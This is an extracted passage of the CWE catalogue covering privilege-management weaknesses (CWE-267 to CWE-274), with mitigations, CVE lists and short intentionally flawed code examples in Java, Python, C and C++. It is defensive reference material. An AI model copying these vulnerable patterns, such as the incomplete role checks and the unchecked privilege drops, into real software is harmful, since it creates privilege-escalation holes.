| Structure : Simple | |
| Abstraction : Base | |

Description

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--|------|
| ChildOf | | 269 | Improper Privilege Management | 600 |
| ParentOf | | 623 | Unsafe ActiveX Control Marked Safe For Scripting | 1269 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------|------|
| MemberOf | | 1011 | Authorize Actors | 2142 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|------------------|------|
| MemberOf | | 265 | Privilege Issues | 2033 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Gain Privileges or Assume Identity <i>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</i> | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

This code intends to allow only Administrators to print debug information about a system.

Example Language: Java

(bad)

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-1981 | Roles have access to dangerous procedures (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1981 |
| CVE-2002-1671 | Untrusted object/method gets access to clipboard (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1671 |
| CVE-2004-2204 | Gain privileges using functions/tags that should be restricted (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2204 |
| CVE-2000-0315 | Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0315 |
| CVE-2004-0380 | Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0380 |
| CVE-2002-1154 | Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154 |
| CVE-2002-1145 | "public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1145 |
| CVE-2000-0506 | User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0506 |
| CVE-2002-2042 | Allows attachment to and modification of privileged processes (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2042 |
| CVE-2000-1212 | User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1212 |
| CVE-2005-1742 | Inappropriate actions allowed by a particular role (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1742 |
| CVE-2001-1480 | Untrusted entity allowed to access the system clipboard (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1480 |
| CVE-2001-1551 | Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1551 |
| CVE-2001-1166 | User with debugging rights can read entire process (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1166 |
| CVE-2005-1816 | Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1816 |
| CVE-2005-2173 | Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2173 |
| CVE-2005-2027 | Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2027 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|--------------------------------|-----|------|
| MemberOf | V | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf | C | 901 | SFP Primary Cluster: Privilege | 888 | 2103 |

Notes

Maintenance

Note: there are 2 separate sub-categories here: - privilege incorrectly allows entities to perform certain actions - object is incorrectly accessible to entities with a given privilege

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |

CWE-268: Privilege Chaining

| | |
|---------------------------|-----------------------|
| Weakness ID : 268 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------------|------|
| ChildOf | G | 269 | Improper Privilege Management | 600 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------|------|
| MemberOf | C | 1011 | Authorize Actors | 2142 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|------------------|------|
| MemberOf | C | 265 | Privilege Issues | 2033 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Gain Privileges or Assume Identity <i>A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.</i> | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

Example Language: Java

(bad)

```
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
```

```

        default:
            setPassword(user,password);
            break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}

```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2005-1736 | Chaining of user rights. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1736 |
| CVE-2002-1772 | Gain certain rights via privilege chaining in alternate channel. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1772 |
| CVE-2005-1973 | Application is allowed to assign extra permissions to itself. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1973 |
| CVE-2003-0640 | "operator" user can overwrite usernames and passwords to gain admin privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0640 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|--|-----|------|
| MemberOf |  | 723 | OWASP Top Ten 2004 Category A2 - Broken Access Control | 711 | 2052 |
| MemberOf |  | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf |  | 901 | SFP Primary Cluster: Privilege | 888 | 2103 |

Notes

Relationship

There is some conceptual overlap with Unsafe Privilege.

Research Gap

It is difficult to find good examples for this weakness.

CWE-269: Improper Privilege Management

Weakness ID : 269

Status: Draft

Structure : Simple

Abstraction : Class**Description**

The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--|------|
| ChildOf | P | 284 | Improper Access Control | 631 |
| ParentOf | B | 250 | Execution with Unnecessary Privileges | 557 |
| ParentOf | B | 266 | Incorrect Privilege Assignment | 592 |
| ParentOf | B | 267 | Privilege Defined With Unsafe Actions | 595 |
| ParentOf | B | 268 | Privilege Chaining | 598 |

| ParentOf | C | 271 | Privilege Dropping / Lowering Errors | 607 |
| ParentOf | B | 274 | Improper Handling of Insufficient Privileges | 616 |
| ParentOf | B | 648 | Incorrect Use of Privileged APIs | 1307 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------|------|
| MemberOf | C | 1011 | Authorize Actors | 2142 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Demonstrative Examples

Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

Example Language: Python

(bad)

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

Example 3:

The following example demonstrates the weakness.

Example Language: Java

(bad)

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
})
```

Example 4:

This code intends to allow only Administrators to print debug information about a system.

Example Language: Java

(bad)

```
public enum Roles {
    ADMIN, USER, GUEST
}

public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
```

```
        System.out.println("You are not authorized to perform this command");
        break;
    default:
        System.out.println(currentDebugState());
        break;
    }
}
else{
    System.out.println("You must be logged in to perform this command");
}
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Example 5:

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

Example Language: Java

(bad)

```
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user,password);
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2001-1555 | Terminal privileges are not reset when a user logs out. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1555 |
| CVE-2001-1514 | Does not properly pass security context to child processes in certain cases, allows privilege escalation. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1514 |
| CVE-2001-0128 | Does not properly compute roles. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0128 |
| CVE-1999-1193 | untrusted user placed in unix "wheel" group https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193 |

| Reference | Description |
|----------------------|--|
| CVE-2005-2741 | Product allows users to grant themselves certain rights that can be used to escalate privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2741 |
| CVE-2005-2496 | Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2496 |
| CVE-2004-0274 | Product mistakenly assigns a particular status to an entity, leading to increased privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0274 |
| CVE-2007-4217 | FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4217 |
| CVE-2007-5159 | OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5159 |
| CVE-2008-4638 | Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638 |
| CVE-2007-3931 | Installation script installs some programs as setuid when they shouldn't be. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3931 |
| CVE-2002-1981 | Roles have access to dangerous procedures (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1981 |
| CVE-2002-1671 | Untrusted object/method gets access to clipboard (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1671 |
| CVE-2000-0315 | Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0315 |
| CVE-2000-0506 | User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0506 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to

two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

CWE-270: Privilege Context Switching Error

| | |
|---------------------------|-----------------------|
| Weakness ID : 270 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------------|------|
| ChildOf |  | 269 | Improper Privilege Management | 600 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|------------------|------|
| MemberOf |  | 265 | Privilege Issues | 2033 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

| Scope | Impact | Likelihood |
|-------|---|------------|
| | A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users. | |

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-1688 | Web browser cross domain problem when user hits "back" button. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1688 |
| CVE-2003-1026 | Web browser cross domain problem when user hits "back" button. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1026 |
| CVE-2002-1770 | Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1770 |
| CVE-2005-2263 | Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2263 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-271: Privilege Dropping / Lowering Errors

| | |
|----------------------------|---------------------------|
| Weakness ID : 271 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------------------------|--|------------|
| Access Control | Gain Privileges or Assume Identity <i>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</i> | |
| Access Control Non-Repudiation | Gain Privileges or Assume Identity Hide Activities <i>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</i> | |

Potential Mitigations**Phase: Architecture and Design***Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Architecture and Design**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Demonstrative Examples**Example 1:**

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

*Example Language: C**(bad)*

```
chroot(APP_HOME);
chdir("");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser.

If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2000-1213 | Program does not drop privileges after acquiring the raw socket. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1213 |
| CVE-2001-0559 | Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0559 |
| CVE-2001-0787 | Does not drop privileges in related groups when lowering privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0787 |
| CVE-2002-0080 | Does not drop privileges in related groups when lowering privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080 |
| CVE-2001-1029 | Does not drop privileges before determining access to certain files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1029 |
| CVE-1999-0813 | Finger daemon does not drop privileges when executing programs on behalf of the user being fingered. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0813 |
| CVE-1999-1326 | FTP server does not drop privileges if a connection is aborted during file transfer. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1326 |
| CVE-2000-0172 | Program only uses seteuid to drop privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0172 |
| CVE-2004-2504 | Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2504 |
| CVE-2004-0213 | Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0213 |
| CVE-2004-0806 | Setuid program does not drop privileges before executing program specified in an environment variable. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0806 |
| CVE-2004-0828 | Setuid program does not drop privileges before processing file specified on command line. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0828 |
| CVE-2004-2070 | Service on Windows does not drop privileges before using "view file" option, allowing code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2070 |

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate

compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C

(bad)

```
setuid(0);  
// Do some important stuff  
setuid(old_uid);  
// Do some non privileged stuff.
```

Example 2:

The following example demonstrates the weakness.

Example Language: Java

(bad)

```
AccessController.doPrivileged(new PrivilegedAction() {  
    public Object run() {  
        // privileged code goes here, for example:  
        System.loadLibrary("awt");  
        return null;  
        // nothing to return  
    }  
})
```

Example 3:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C

(bad)

```
chroot(APP_HOME);  
chdir("");  
FILE* data = fopen(argv[1], "r+");  
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Notes

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

Other

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically. When a program calls a privileged function, such as `chroot()`, it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

CWE-273: Improper Check for Dropped Privileges

Weakness ID : 273

Status: Incomplete

Structure : Simple
Abstraction : Base

Description

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| MemberOf |  | 265 | Privilege Issues | 2033 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Background Details

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|----------------|------------------------------------|------------|
| Access Control | Gain Privileges or Assume Identity | |

| Scope | Impact | Likelihood |
|-----------------------------------|---|------------|
| | <i>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</i> | |
| Access Control Non-Repudiation | Gain Privileges or Assume Identity Hide Activities | |
| | <i>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</i> | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

Demonstrative Examples

Example 1:

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

Example Language: C++

(bad)

```
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    /*
    RevertToSelf()
    */
}
```

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2006-4447 | Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447 |
| CVE-2006-2916 | Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916 |

CWE-274: Improper Handling of Insufficient Privileges

Weakness ID : 274

Status: Draft

Structure : Simple

Abstraction : Base

Description

